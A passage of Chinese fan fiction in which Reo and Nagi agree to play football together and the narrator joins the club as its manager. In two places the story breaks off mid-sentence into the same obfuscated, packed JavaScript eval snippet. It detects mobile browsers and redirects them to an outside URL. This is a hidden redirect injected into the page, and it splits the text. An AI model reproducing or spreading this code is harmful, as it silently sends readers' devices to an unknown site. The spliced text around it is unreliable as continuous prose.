他的语调拖得长长的,每一个音节都像是被强行从喉咙里拽出来,充满了“阴阳怪气”的意味,“为了你的玲王大人……还特意麻烦我跑一趟。” 虽然语气欠揍,但我知道,这是答应了。 紧绷的心弦瞬间放松,一丝真诚的笑意不受控制地爬上我的嘴角:“那就这么说定了。地点和时间我短信发你。谢谢了,凪同学。” 凪没再回应,只是重新把脸埋回了臂弯,用后脑勺那撮倔强的白毛对着我,无声地宣告着“谈话结束,勿扰,节能中”。 我起身离开,心情轻松了不少。总算迈出了第一步。只要凪肯出来,把话说开,无论结果如何,至少能让玲王不再做无用功,也让凪能恢复他宁静的校园生活。 然而,我完全没有注意到,就在我走向凪的座位时,教室后门那高大盆栽的浓密枝叶后面,一抹极其醒目的紫色发梢,极其轻微地晃动了一下。 *** 周末下午,阳光透过巨大的落地窗,将咖啡馆靠里的卡座晒得暖洋洋的。空气中弥漫着咖啡豆烘焙的焦香和甜点的甜蜜气息。舒缓的爵士乐流淌着,本该是放松聊天的绝佳氛围。 我到的稍早,点了一杯冰草莓奶昔,看着窗外行色匆匆的路人。约定的时间刚到,咖啡馆门口的风铃发出清脆的叮当声。 凪诚士郎推门走了进来。 他果然贯彻了“节能”和“随意”的宗旨。一件宽大的纯白色连帽卫衣,几乎罩住了他整个上半身,下身是洗得发白的灰色运动裤,脚上趿拉着一双看起来就很舒服的软底帆布鞋。那头标志性的乱糟糟白发似乎被风吹得更乱了,几缕不听话的碎发翘在额前。他双手插在卫衣口袋里,高大的身躯微微弓着,像一只被强行拖出巢穴的大型树懒,脸上没什么表情,只有那双半睁着的黑色眼睛里,清晰地写着“麻烦”、“困”、“想回家”几个大字。 他慢吞吞地扫视了一圈,目光精准地落在我身上,然后迈开长腿,以一种“能省一步是一步”的懒散步态挪了过来,拉开我对面的椅子,把自己“卸”了进去。柔软的沙发椅被他高大的身躯占据了大半。 “……好困。”他坐下后的第一句话,带着浓重的鼻音,仿佛下一秒就能在咖啡香里睡过去。 “辛苦了。”我把菜单推到他面前,“喝点什么?我请客,算是感谢你肯出来。” 毕竟是我把他“麻烦”出来的。 凪的视线懒洋洋地在菜单上扫过,手指都没从口袋里拿出来。“……柠檬茶。冰的。” 他言简意赅。 我招手叫来服务生,加单了一杯冰柠檬茶。 饮料很快上来了。我咬着吸管,吸了一口冰凉的草莓奶昔,甜腻冰凉的口感在舌尖化开。凪则用他那骨节分明、看起来就很有力量的手指,慢吞吞地捏住吸管,吸了一口柠檬茶,然后继续放空,仿佛对面的我只是咖啡馆里的一件装饰品。 气氛……僵住了。 该怎么开口?直接切入主题问他和玲王的事?感觉有点突兀。寒暄一下?跟这个连寒暄都觉得是巨大能量消耗的节能主义者寒暄?我一时也有些词穷。咖啡馆里轻柔的音乐和周围客人低低的交谈声,反而衬托出我们这一桌诡异的寂静。 我正琢磨着如何打破这尴尬的沉默,眼角的余光却捕捉到一丝异样。 在我们斜后方,隔着一条过道和几盆高大的绿植,另一张靠窗的卡座里,坐着一个身影。 那人背对着我们,戴着一顶黑色的棒球帽,帽檐压得很低,身上穿着一件深蓝色的休闲外套,看起来很低调。但他那头从帽檐下露出的、即使在室内也依旧闪耀着独特光泽的紫色短发,还有那挺拔优雅的坐姿……就算是化成灰我也认得出来! 御影玲王! 他怎么会在这里?!而且打扮得……虽然刻意低调,但那件看似普通的深蓝外套剪裁极为合体,显然是高级定制,棒球帽也像是某个低调奢华的品牌限定款。他微微侧着身,身体姿势极其不自然,像一块被强行拗成偷听姿势的雕塑,耳朵似乎正努力地朝我们这边倾斜着。 我的心脏猛地一跳,差点被嘴里的奶昔呛到。他什么时候跟来的?听到了多少?他该不会以为我和凪在私下约会吧?!一股热气瞬间涌上脸颊,尴尬混合着无奈席卷而来。 就在这时,对面的凪诚士郎也吸溜了一大口柠檬茶。他放下杯子,那双没什么波澜的黑色眼睛,极其缓慢地抬起,越过我的肩膀,精准地落在了斜后方那个鬼鬼祟祟的紫色身影上。 然后,我清晰地看到,凪那总是没什么表情的脸上,眉头极其轻微地蹙了一下。他收回目光,看向我,用吸管搅动着杯子里金黄的液体和冰块,发出轻微的碰撞声。他的声音压得极低,带着一种近乎抱怨的平板语调,清晰地传入我耳中: “……清田同学,解不解决?” 他顿了顿,下巴极其细微地朝玲王的方向扬了扬,“那家伙的视线……快把我烧穿了。我感觉……自己命不久矣。” 他的语气平淡,但“命不久矣”四个字从他嘴里吐出来,配上他此刻被玲王“死亡凝视”的处境,竟透出一种荒诞的真实感。显然,玲王那灼热、执着、带着探究和一丝不易察觉委屈的目光,即使隔着几盆绿植,也让感知力其实很强的凪如芒在背,坐立难安。 我也感觉如坐针毡。这还怎么谈?玲王那架势,摆明了不听到点什么不会罢休。与其让他继续脑补和误会,不如…… 我深吸一口气,掏出手机,手指飞快地在屏幕上点按。 几秒钟后,斜后方传来一声极其轻微、带着点慌乱意味的手机震动提示音。 我看到那个紫色的背影明显僵了一下,然后他迟疑地、慢动作般地拿出手机,低头看了一眼屏幕。 我发过去的短信只有简单几个字:【别躲了,玲王。过来坐。】 那个紫色的身影在原地静止了几秒,像是在进行激烈的思想斗争。最终,他认命般地、极其缓慢地摘下了头上的棒球帽,露出一头标志性的、此刻显得有些凌乱的紫发。他站起身,转过身,脸上带着一种混合着尴尬、被抓包的羞赧、以及一丝破罐破摔的复杂表情,朝我们这边走了过来。 他走得有点慢,每一步都像是踩在棉花上。咖啡馆里柔和的光线落在他俊美的脸上,清晰地映出他微微泛红的耳根和那双闪烁着不安与倔强的紫罗兰色眼眸。 凪在我对面,发出了一声几不可闻的、仿佛认命般的叹息,把脸往柠檬茶的杯子后面埋了埋。 玲王终于走到了我们桌前。他看了看我,又看了看几乎要把自己缩进柠檬茶杯里的凪,嘴唇动了动,似乎想解释什么,又不知从何说起。他站在那里,像一棵挺拔却有些局促的紫藤树。 “坐吧,玲王。”我指了指凪旁边的空位——那张双人沙发卡座。事已至此,三个人面对面谈清楚,也许是唯一的出路。 玲王迟疑了一下,最终还是坐了下来,就在凪的身边。凪的身体肉眼可见地又往远离玲王的方向挪了一点点。三个人围着一张小小的圆桌,气氛比刚才更加诡异和凝滞。空气里仿佛弥漫着柠檬的酸涩、草莓的甜腻,以及一种无形的、名为“尴尬”的粒子。 服务生很有眼力见地走了过来,玲王飞快地点了一杯冰美式,似乎想用咖啡因的苦涩来平复内心的波澜。 咖啡很快上来了。玲王修长的手指无意识地摩挲着冰凉的杯壁,低着头,长长的紫色睫毛在眼下投下一小片阴影。他似乎在组织语言,又像是在积蓄勇气。 我和凪都没有说话。我吸着奶昔,凪吸着柠檬茶,只有冰块融化和吸管搅动液体发出的细微声响。 终于,玲王抬起头。他深吸了一口气,那双漂亮的紫罗兰色眼睛,像是下定了某种决心,不再躲闪,直直地看向身边那个依旧散发着“生人勿近”气息的高大身影。 “凪……” 玲王的声音低沉而清晰,带着一种不容置疑的坚定,“我知道,我之前的做法可能让你很困扰,很‘麻烦’。我道歉。” 他微微欠身,态度诚恳。 “但我无法放弃。” 他的声音微微提高了一些,带着压抑不住的激动:“那天在训练场,还有楼梯间……你展现出来的东西,那不是运气!那是刻在本能里的东西!是上帝赐予你的、被你自己都忽略了的、最珍贵的礼物!你对球的触感,对空间的理解,那种近乎预知的判断力……凪!那是足以改变比赛走向的天赋!是无数人梦寐以求却求之不得的东西!” 玲王越说越激动,身体微微前倾,紫眸里燃烧着纯粹的、不掺杂质的火焰,那是属于他对足球最深沉的热爱和对梦想最炽热的渴望:“我的梦想,是拿到W杯!是和最棒的搭档一起,站上世界之巅!我一直在寻找,寻找那个能和我一起实现梦想的人!当我看到你的那一刻……凪!我觉得我找到了!你就是我要找的‘宝物’!那个能和我一起创造奇迹的人!” 他的话语像滚烫的岩浆,带着惊人的热量和感染力喷涌而出。咖啡馆里其他客人的低语似乎都消失了,整个世界仿佛只剩下玲王那掷地有声的宣告和他眼中燃烧的、几乎要化为实质的梦想之光。他紧紧盯着凪,仿佛要将自己的信念和渴望,通过目光强行灌注到对方那节能的灵魂里。 “我知道你觉得麻烦!我知道你觉得跑来跑去很累!但是凪!”玲王的声音带上了一丝恳求,“尝试一下,好吗?就尝试一下!感受一下在绿茵场上奔跑,感受一下用你的天赋去掌控比赛,感受一下进球瞬间那种无与伦比的快感!那种感觉,绝对比睡觉和打游戏爽一万倍!相信我!只要你愿意尝试,我可以用御影家的所有资源,为你铺就最舒适、最没有后顾之忧的道路!让你用最‘节能’的方式,发挥出最大的能量!我们搭档,一定能所向披靡!” 玲王一口气说完,胸膛微微起伏,白皙的脸颊因为激动染上了红晕,那双紫眸亮得惊人,里面充满了孤注一掷的期待和小心翼翼的恳求,等待着凪的宣判。 整个空间陷入了沉寂。只有玲王略显急促的呼吸声,以及凪手中吸管搅动柠檬茶冰块发出的轻微碰撞声。 凪诚士郎一直低着头,看着杯中金黄的液体和漂浮的柠檬片,仿佛玲王那一番慷慨激昂的陈词只是背景噪音。他长长的白色睫毛垂着,遮住了那双总是没什么波澜的黑色眼睛,让人看不清他的情绪。 时间一分一秒地流逝。玲王眼中的火焰在寂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251806|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静中一点点摇曳,紧张和不安重新爬上他的眉梢。 就在玲王几乎要承受不住这沉默的压力,紫眸中的光芒开始黯淡下去时,凪终于有了动作。 他极其缓慢地抬起头。没有看玲王,也没有看我,视线依旧落在桌面的某一点,仿佛聚焦在虚空。他拿起吸管,吸溜了一大口柠檬茶。冰凉的液体滑过喉咙,他似乎满足地轻轻呼出一口气。 然后,他用那种特有的、毫无起伏的平板语调,慢悠悠地开口了: “……这么说,只要帮你拿到世界杯就好了吧?” 他的声音不大,却像一颗投入平静湖面的石子,瞬间在玲王的心湖里激起了滔天巨浪! 玲王整个人都僵住了!下一秒,巨大的狂喜如同火山爆发般冲上他的头顶!他那双漂亮的紫眼睛瞬间瞪得溜圆,里面迸发出前所未有的璀璨光芒,仿佛夜空中所有的星辰都坠落其中!他猛地抓住凪的手臂,声音因为极度的激动而微微发颤,带着难以置信的狂喜和巨大的期待: “凪?!你……你答应了?!你愿意试试了?!!” “不……”凪的身体明显僵硬了一下,慢吞吞地试图抽出自己的手臂,但玲王抓得太紧,他失败了。他只好任由玲王抓着,继续用那种平淡的语调说,“……是你说的,帮你拿到世界杯。” “是我们!凪!是我们一起拿下!”玲王激动地纠正,他用力握紧了凪的手臂,仿佛生怕这个“宝物”下一秒就会反悔消失,“搭档!你和我!我们会成为最强的搭档!横扫一切!登上世界之巅!” 他仿佛已经看到了那辉煌的未来,紫眸中燃烧着熊熊的野心之火。 玲王忽然话锋一转,抛出了一个极具诱惑力的现实筹码: “而且!凪!做职业足球运动员真的很赚钱!非常非常赚钱!”玲王的语气充满了商贾世家特有的精明和说服力,“你知道日本男性一生的平均收入是多少吗?大概三亿日元左右!” 他伸出三根手指在凪眼前晃了晃,仿佛在强调这个数字的“微不足道”。 凪那半睁着的黑色眼睛,似乎因为这个数字而极其轻微地眨动了一下。 玲王敏锐地捕捉到了这一丝波动,立刻乘胜追击,声音带着蛊惑人心的力量:“但是!踢足球赚的可远远不止三亿!顶级的足球运动员,年薪动辄几亿、十几亿日元!还有巨额的广告代言、商业活动!像你这样拥有顶级天赋的球员,一旦崭露头角,成为世界级球星,赚的钱足够你几辈子都花不完!” 他凑近凪,紫眸紧紧锁住对方那双终于开始聚焦的眼睛,一字一句,清晰地抛出那个对凪来说最具杀伤力的终极诱惑: “你的梦想不是躺平吗?凪诚士郎?有了这些钱,你想怎么躺平就怎么躺平!买下一座岛,雇一百个佣人伺候你,每天除了睡觉就是打游戏,什么都不用干!甚至上厕所都有人帮你按冲水键!这才是真正的、终极的节能!永久的躺平!这不就是你想要的吗?!” 玲王的这番话,像一把精准的钥匙,狠狠插进了凪诚士郎那名为“节能至上”的锁芯里!凪那总是没什么表情的脸上,第一次出现了明显的、剧烈的波动!他那双黑色的瞳孔猛地收缩了一下,随即又缓缓放大,里面不再是全然的困倦和漠然,而是燃起了一簇……名为“心动”的、微弱却真实的火苗! 钱!很多很多钱!多到可以让他彻底摆脱一切麻烦,实现终极躺平梦想的钱! 这个诱惑……太大了!大到足以让他暂时忽略掉“跑来跑去很麻烦”、“训练很累”这些细枝末节! 凪的喉结极其艰难地滚动了一下。他下意识地又吸了一大口柠檬茶,冰冷的液体似乎也无法浇灭心中那簇被玲王用“金钱燃料”点燃的小火苗。他沉默着,似乎在消化这个巨大的、充满诱惑力的可能性,在“眼前麻烦”和“终极躺平”之间进行着激烈的天人交战。 我默默地看着眼前这一幕,吸管还含在嘴里,冰凉的草莓奶昔似乎都忘了咽下去。玲王这家伙……真是把凪的命门抓得死死的!这哪里是在说服人踢球?这简直是在用“退休金”诱惑人“上贼船”啊!毅力强悍,手段精准,不愧是御影家的继承人! 就在凪陷入沉默,玲王屏息凝神等待最终答复,而我感慨着玲王的“商业头脑”时,口袋里的手机突然震动了一下。 我下意识地拿出来一看,屏幕上跳出一条新短信,发件人显示是“爸爸”。 点开,内容极其简短: 【和你妈妈去周游日本了,勿念——爱你的爸爸】 我:“……” 一阵强烈的无语感瞬间冲散了刚才看戏的心情。这两个人!一个刚宣布退役没多久,一个也是退役名宿,加起来都快八十岁了!居然跟两个青春期私奔的小情侣似的,招呼都不打一声就跑去“周游日本”了?!还“勿念”?我该念什么?念他们玩得开心吗?这甩手掌柜当得也太彻底了吧! 明明说好要常驻东京陪我的!我有些气闷地拿起手机,打算关掉屏幕,眼不见心不烦。 然而,就在我手指即将触碰到关机键的瞬间,我的动作却猛地顿住了。 手机屏幕光滑如镜,清晰地映照出我身后卡座靠背的上方景象。 在那反射的、略微有些变形的画面里,我看到了—— 两颗脑袋。 一颗是醒目的紫色,微微前倾,紧张又期待地关注着凪的反应。另一颗是乱糟糟的白色,此刻也微微抬起了头,视线似乎……正越过玲王的肩膀,精准地落在我亮着的手机屏幕上? 御影玲王……和凪诚士郎。 这两个家伙!在如此紧张、决定性的时刻!居然……在偷看我的手机?! 玲王!你不是应该全神贯注地盯着凪,等待他的答复吗?!还有凪!你不是应该在思考“躺平”和“踢球赚钱”的人生大计吗?!你们俩的注意力是怎么回事?! 一股又好气又好笑的感觉瞬间冲上头顶。我猛地抬起头,死亡凝视精准地投向那两个“偷窥者”。 果然,玲王似乎察觉到了我目光的转向,身体瞬间僵直,脸上那副紧张期待的表情还没来得及收回去,就混杂上了一丝被抓包的慌乱,紫眸心虚地闪烁了一下,下意识地想转开视线,却又忍不住瞟了一眼我的手机方向,显然对那条短信的内容充满了好奇。 而凪诚士郎,他那张万年没什么表情的脸上,此刻也出现了一丝极其细微的裂痕。他黑色的瞳孔里似乎掠过一丝“被发现了”的无奈,以及一点……对短信内容本身的好奇?他甚至还维持着那个微微歪头、试图看清屏幕的姿势,嘴里含着的吸管都忘了松开。 三个人,六道目光,在咖啡馆柔和的光线下,无声地、尴尬地、无比微妙地撞在了一起。 空气,彻底凝固了。 7. 重新接触足球 凪诚士郎就这么闯入了我的世界。 准确来说,是我和御影玲王的世界。 以足球之名。 好吧,不开玩笑。玲王已经开始带动凪进行日常训练了,让我来采访一下二人的感受。 *** 白宝高中足球部的训练场上,夏日的阳光毫不吝啬地泼洒下来,蒸腾起塑胶草皮特有的气息。我手里卷着一本笔记本充当话筒,慢悠悠地踱到场地边缘。场中央,御影玲王那抹醒目的紫色正在高速移动,他脚下的足球仿佛黏着在球鞋上,每一次变向都带着凌厉的风声。而距离他大约二十米开外的地方,一个巨大的白色身影正以一种极其缓慢、仿佛下一秒就要原地融化的姿态,进行着所谓的“折返跑”。 “咳咳,”我清了清嗓子,声音不大,但足以穿透训练场的喧嚣,“打扰一下,两位选手。这里是‘清田体育速报’的现场采访时间。请问,经历了为期一周的‘玲王特别定制基础训练套餐’,两位有什么感想想对广大观众分享的吗?” 玲王一个漂亮的急停,足球乖巧地停在他脚下。他抬手抹了把额头上亮晶晶的汗珠,紫色的发丝有几缕贴在饱满的额角,非但不显狼狈,反而衬得那张神采奕奕的脸更加耀眼。他转过身,看到是我,紫罗兰色的眼眸瞬间亮了起来,嘴角扬起一个混合着自信和一点点求表扬的弧度。 “感想?”玲王的声音带着运动后的微喘,却依旧清朗有力,“简直是完美开局!爱,你看到了吗?凪这家伙的潜力简直深不见底!虽然基础是零,不,是负数!但只要给他正确的引导,他的身体本能就能做出不可思议的反应!你看他刚才那个停球……”他滔滔不绝,兴奋地指向还在场地另一端“蠕动”的凪,眼神里燃烧着发现稀世珍宝的火热光芒,“那种空间感和触球精度,绝对是天生的!这才一周,他的协调性和耐力已经有了肉眼可见的提升!虽然离我的标准还差得远,但进步速度惊人!这就是天才的证明!” 他的话语里充满了对搭档(尽管对方可能还没完全承认)的自豪和对未来的无限憧憬,仿佛已经看到世界杯的奖杯在向他招手。 就在这时,那个巨大的白色身影终于“蠕动”到了我们附近。凪诚士郎像一滩被烈日烤化的史莱姆,整个人软绵绵地、带着巨大惯性,“砰”地一声直接瘫倒在距离我们几步远的草皮上。他胸口剧烈起伏,大口喘着气,汗水把他额前的白发浸成一绺一绺,黏在光洁的额头上。那双总是半睁着的黑色眼睛此刻完全失去了焦距,只剩下纯粹的、濒临极限的空茫。 “感……想……”凪的声音断断续续,气若游丝,每一个音节都像是从肺里强行挤压出来的,“……地狱……玲王……是恶魔……训练……反人类……”他艰难地抬起一只沉重的手臂,颤抖着指向玲王的方向,指尖都在哆嗦,“……要死了……绝对……会死……” 玲王脸上的笑容僵了一下,随即又化作了无奈和一种“恨铁不成钢”的宠溺(?)。“喂喂,凪!太夸张了吧!这才热身结束没多久!” 他走过去,用脚尖轻轻踢了踢凪摊开的小腿,“起来,还有控球练习和传接球配合呢!” 凪的身体几不可察地抽搐了一下,喉咙里发出一声悲鸣般的呜咽。他那双失焦的黑眼珠艰难地转动,最终定格在我身上,里面瞬间爆发出一种溺水者抓住浮木般的、强烈的求生欲。 “……清田……”他的声音微弱得几乎听不见,带着令人心碎的哀求,“……补给……柠檬茶……冰的……要……死了……”他努力地朝我伸出手,指尖虚虚地抓握着空气,仿佛那杯幻想中的冰镇柠檬茶就是他此刻唯一的续命良药。 看着他这副惨状,我忍俊不禁,但还是维持着“记者”的客观立场,晃了晃手里的“话筒”(笔记本):“凪选手,您的补给请求本台已收到。但根据赛事规则,补给需在训练间歇或结束后统一发放。请再坚持一下,完成接下来的训练科目。” “No——!” 凪发出了一声绝望的哀嚎,那声音凄厉得仿佛被踩了尾巴的猫,与他庞大的身躯形成强烈反差。他试图在地上滚两圈以示抗议,但身体沉重得如同灌了铅。 玲王可不会给他耍赖的机会。他弯下腰,双手抓住凪的手臂,用上了全身的力气,以一种拔萝卜般的姿态,硬生生把这个瘫软的“节能巨人”从地上拽了起来。“好了好了,别撒娇了!控球练习!目标,连续颠球五十个不掉!做不完别想休息,更别想柠檬茶!” 玲王的声音带着不容置疑的坚定,紫眸里闪烁着教练(魔鬼)的威严光芒。 凪被半拖半拽地带向场地中央,高大的身躯摇摇晃晃,像一棵被狂风吹拂的、随时会倒下的白杨树。他回头投给我的那一眼,充满了控诉、绝望以及对那杯虚幻柠檬茶的无限眷恋。 “……” 我默默收起了“话筒”,看着玲王像打了鸡血一样围着生无可恋的凪进行技术指导,看着他一遍遍示范动作,看着凪笨拙地尝试,然后球总是以各种匪夷所思的角度飞出去。阳光晒得我脸颊发烫,场地上两个身影,一个活力四射如同永动机,一个颓丧得像是下一秒就要入土为安,这画面荒诞又莫名和谐。 一个念头悄然浮现,并迅速扎根——这样下去不行。 不是指凪会被练死(虽然看起来有这个趋势),而是指我。玲王的世界已经被足球和凪这个“宝物”填满了,他像一颗燃烧的小太阳,释放出巨大的光和热,目标明确地朝着W杯前进。凪虽然百般不情愿,但也确实被玲王强行绑上了这辆战车。那么我呢? 曾经形影不离的“幼驯染”组合,如今变成了“足球笨蛋二人组”,而我,成了场边那个拿着笔记本的“观众”。看着玲王兴奋地和凪讨论着我看不懂的战术跑位,看着凪偶尔(在玲王的威逼利诱下)展露出惊鸿一瞥的天赋,一种微妙的、被落下的感觉,如同细小的藤蔓,悄然缠绕上心头。我不想被排除在他们的世界之外,不想只做一个旁观者。尤其是,当玲王的目光偶尔从凪身上移开,带着难以掩饰的兴奋和期待看向我,嘴唇微动,似乎想说什么,却又总是欲言而止时,我就知道他在想什么。 他希望我加入。 他希望他的梦想里,也有我的位置。 但他开不了口。他知道我对足球没有热爱,甚至可以说带着点童年阴影的疏离。他不想勉强我,不想让我做不喜欢的事。这份体贴,反而成了我们之间一道无形的墙。 然而,有人没有这个顾虑。 几天后的一次训练结束,凪像刚从水里捞出来一样,浑身湿透地瘫在休息区的长椅上,连手指头都懒得动一下。玲王正在旁边整理训练器材,脸上是运动后的满足红晕。我递给他们一人一瓶运动饮料。 凪连拧瓶盖的力气都没有,直接用牙齿咬开,灌了一大口。他缓过一口气,那双半死不活的黑色眼睛转向我,没什么情绪,却带着一种洞穿人心的直白。 “……清田,”他声音沙哑,语气平板得像在陈述“今天天气不错”,“你也来训练吧。” 我和玲王同时愣住了。玲王整理器材的动作顿住,猛地看向凪,紫眸里充满了惊讶和一丝不易察觉的紧张。 “哈?”我一时没反应过来。 “一起。”凪又重复了一遍,眼神直勾勾地看着我,里面没有任何玩笑的成分,“玲王的地狱……不能只有我一个人承受。”他顿了顿,像是在为自己的自私找一个合理的注脚,“……朋友,要有难同当。” 这话说得真是……坦率得令人发指!自私自利!毫无风度!他居然想把我拉下水,就为了让他自己“好受一点”?我简直要被他这清奇的脑回路气笑了。 然而,就在我准备开口嘲讽他这荒谬提议的瞬间,我眼角的余光捕捉到了玲王的表情。他站在那里,手里还拿着一个足球,紫罗兰色的眼睛一眨不眨地看着我,里面的情绪复杂得如同打翻的调色盘——有对凪突然提议的错愕,有对自己不敢开口的懊恼,但更多的,是一种小心翼翼的、如同等待宣判般的巨大期待。那期待的光芒如此炽热,几乎要将他眼底的紫色点燃。 心脏像是被什么东西轻轻撞了一下。 是啊,朋友。 玲王是我最重要的朋友。他的梦想如此耀眼,如此滚烫。即使我对足球本身没有热爱,但我愿意陪在他身边,愿意踏入他为之燃烧的世界。我不想再被留在场外,不想错过他梦想路上的任何风景,即使是……地狱般的训练。 迎着玲王那几乎要灼伤人的期待目光,我深吸一口气,将凪那番“有难同当”的歪理抛到脑后,对着玲王,清晰地开口: “好吧。玲王,足球部的经理位置,还空缺吗?” 玲王脸上的表情瞬间凝固,随即如同冰雪消融般,绽放出一个前所未有的、灿烂到晃眼的笑容。那笑容里充满了巨大的惊喜、如释重负的轻松,以及纯粹的、几乎要满溢出来的快乐。他紫眸中的光芒亮得惊人,仿佛盛满了整个夏日的阳光。 “当然!随时为你准备着!”他几乎是喊出来的,声音里带着抑制不住的激动,三步并作两步冲到我面前,一把抓住了我的手腕,力道大得让我微微吃痛,却奇异地传递着他澎湃的情绪。 凪在长椅上发出一声意味不明的、像是解脱又像是认命的叹息,把头歪向一边,继续装死。但我知道,这家伙心里肯定在暗爽——拉人垫背的计划,成功了。 *** 于是,我正式成为了白宝高中足球部的经理。工作内容远比我预想的繁琐:安排训练日程、准备补给、记录数据、处理杂务……当然,更重要的是,在玲王挥舞着小皮鞭(精神意义上)疯□□练凪的时候,适时地递上冰镇的柠檬茶和毛巾,充当“节能怪兽”唯一的续命站。 然而,经理的身份显然并不能满足玲王那颗“有福同享”(或者说有地狱一起下)的心。或者说,他潜意识里,从未放弃过让我也踏上草皮的念头。只是这次,他学聪明了,不再直接开口,而是采取了迂回战术。 某次训练结束,队员们都已经离开,空旷的球场上只剩下我们三人收拾器材。玲王“不小心”把几个足球踢到了我脚边。 “爱,帮忙捡一下?”他笑得人畜无害。 我弯腰去捡。刚抱起一个球,就听到玲王带着点诱哄的语气说:“诶,要不要试试看?很简单的,就颠一下球?看看球感?” 我抱着球,看了看他写满期待的脸,又看了看旁边瘫在长椅上、用“又开始了”的眼神瞥着玲王的凪。鬼使神差地,我没有拒绝。也许是玲王眼中的光太亮,也许是凪那副“看好戏”的表情让我有点不爽,也许……是我内心深处,对那个被尘封的、与足球有关的幼年角落,还有一丝自己都未曾察觉的隐秘连接。 我把怀里的足球轻轻抛起,在它下落的瞬间,抬脚用足弓的位置迎了上去——动作有些生疏,带着久违的试探。 “啪。” 一声轻响,足球听话地弹起,再次落下。 又一下。 再一下。 我全神贯注,视线追随着那个黑白相间的球体,身体下意识地调整着重心,脚踝的力道控制着每一次触球的角度和力度。一个、两个、三个……记忆深处某个闸门仿佛被悄然推开。我看到了更小的时候,在绿茵茵的后院,高大的父亲张开双臂,笑嘻嘻地喊着:“来吧,小爱!爸爸是小球门!把球踢进来!” 我迈着小短腿,努力地把小小的足球踢向他,一遍,又一遍。每一次成功的射门(哪怕只是滚到他脚边),都会换来他响亮的欢呼和把我高高举起的奖励。母亲则在一旁温柔地笑着,用相机记录下那些瞬间。阳光,青草,父母的笑脸,还有那颗滚动的足球……那些画面模糊又温暖。 然后,不知道从什么时候起,那个小小的“球门”越走越远,变成了电视屏幕上遥远的背影和欢呼声中的名字。母亲的身影也消失在频繁的飞行日程里。足球带来的温暖和联结,渐渐被空旷的大房子和保姆的照顾所取代。我对足球本身谈不上热爱,只是那段被陪伴的记忆,被夸奖的快乐,如同褪色的底片,一直藏在心底某个角落。 脚下无意识地重复着动作,身体的本能似乎比思维更熟悉这种感觉。当我终于因为一个微小的失误,让足球滚落在地时,我才猛地回神。 周围一片寂静。 我下意识地看向玲王。他张着嘴,那双漂亮的紫眼睛瞪得溜圆,里面充满了毫不掩饰的震惊和……狂喜?他像是被施了定身法,呆呆地看着我,又看看地上停止滚动的足球,仿佛看到了什么不可思议的奇迹。 “一……一百二十七个?!”玲王终于找回了自己的声音,几乎是尖叫出来,他指着旁边记录板上凪那惨不忍睹的“最高记录——15个”,“爱!你……你第一次颠球?!就……一百多个?!还这么稳?!” 他冲过来,激动地抓住我的肩膀摇晃,“天才!又一个天才!我身边都是些什么怪物啊!” 他兴奋得语无伦次,紫眸里迸发出的光芒比太阳还要耀眼,那是对“宝物”失而复得的巨大惊喜。 我被他的激动弄得有些不好意思,脸颊微热:“……只是小时候……玩过一点点。” 那些模糊的记忆碎片,此刻清晰地涌上心头,带着微涩的暖意。 “一点点?!”玲王的声音拔得更高了,“这叫一点点?!凪!你看到了吗?爱她……” 他兴奋地转头想寻求凪的认同,却看到长椅上的凪诚士郎,此刻也罕见地没有在装死。他半撑起身子,那双总是慵懒半睁的黑色眼睛,此刻完全睁开了,里面清晰地映着我和那个停在脚边的足球。他脸上没什么表情,但微微张开的嘴唇和那难得聚焦的、带着一丝茫然和探究的眼神,无声地表达着他的震惊——大概在他“节能”的认知里,颠球超过一百个是件极其耗费能量且不可思议的事情。 玲王可不管凪的反应,他已经完全沉浸在了巨大的喜悦中。他松开我,像个拿到新玩具的孩子,跑去捡起另一个足球塞到我手里:“再来一次!爱!试试用不同的部位!膝盖!头!让我看看!” 他的热情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251807|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎要把我淹没。 看着玲王兴奋得发光的脸,感受着脚下足球那熟悉的触感,再看看凪那副“世界观受到冲击”的呆滞模样,一种久违的、轻松愉快的情绪,像气泡水一样咕嘟咕嘟地从心底冒了上来。足球本身或许并没有那么大的魔力,但在此刻,在这个洒满阳光的绿茵场上,在玲王毫无保留的夸赞和凪难得的“破功”表情中,它似乎真的成了某种奇妙的粘合剂,将我们三个不同轨迹的人,以一种意想不到的方式紧紧连接在了一起。 好像……也没那么糟糕? *** 夏日的蝉鸣声越来越嘹亮,空气里充满了暑假即将到来的躁动气息。白宝高中的课程接近尾声,玲王作为足球部部长兼“造梦者”,野心勃勃地提出了他的宏伟计划——“暑期魔鬼集训!目标:打造最强锋线组合!制霸全国大赛预选!” 他站在部活室里,挥舞着精心制定的训练计划表,紫眸里燃烧着熊熊火焰,试图点燃每一个部员的激情。 “集训地点我都考察好了!就在轻井泽!空气好,场地棒!封闭式管理,保证……” “我反对。” 一个平板无波、却带着巨大“麻烦”能量的声音,毫不犹豫地打断了玲王激情洋溢的演讲。 所有人的目光瞬间聚焦到声音来源——凪诚士郎。他像一滩巨大的白色史莱姆,软绵绵地瘫在长椅里,只举起了一只手,手指都懒得伸直,软趴趴地晃了晃,仿佛举起手这个动作已经耗尽了他今日份的能量配额。 “暑假……是用来睡觉和打游戏的。”凪的声音带着不容置疑的真理感,“集训……地狱的升级版……绝对不要……会死的……”他黑色的眼睛里充满了对即将失去的空调房和游戏机的深切哀悼。 